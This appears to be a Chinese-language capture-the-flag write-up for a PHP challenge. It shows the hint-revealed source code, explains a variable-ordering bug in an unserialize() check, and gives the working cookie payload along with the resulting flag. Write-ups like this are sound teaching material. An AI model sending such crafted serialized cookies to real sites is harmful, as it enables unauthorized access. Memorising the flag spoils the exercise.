flag.php
原题链接
http://120.24.86.145:8002/flagphp/
分析
一开始以为是sql注入,但是因为点击Login怎么都没用,于是知道不是sql注入。
结合提示,hint,想查看hint.txt但是没有,于是想到会不会是传参数,http://120.24.86.145:8002/flagphp/?hint=1
得到源码。
接下来是代码审计:
<?php
error_reporting(0);
include_once("flag.php");
$cookie = $_COOKIE['ISecer'];
if(isset($_GET['hint'])){
show_source(__FILE__);
}
elseif (unserialize($cookie) === "$KEY")
{
echo "$flag";
}
else {
?>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>Login</title>
<link rel="stylesheet" href="admin.css" type="text/css">
</head>
<body>
<br>
<div class="container" align="center">
<form method="POST" action="#">
<p><input name="user" type="text" placeholder="Username"></p>
<p><input name="password" type="password" placeholder="Password"></p>
<p><input value="Login" type="button"/></p>
</form>
</div>
</body>
</html>
<?php
}
$KEY='ISecer:www.isecer.com';
?>
代码逻辑就是,传入一个cookie:ISecer,如果ISecer反序列化的结果和KEY相等,就弹出flag。
这里有一个坑,我一直以为,KEY指的是下面的$KEY='ISecer:www.isecer.com';
然后,用它做序列化。
但实际上,并不是,上面的代码不是用下面的KEY,这是两段!!!
上面的KEY=Null
构造序列化字符串
<?php
echo serialize('');
?>
结果
s:0:"";
但是需要注意的一点是,;
要url转义。
最后payload为:
Cookie: ISecer=s:0:""%3B
flag
flag{unserialize_by_virink}
知识点
反序列化,hint传参算是积累了一点经验吧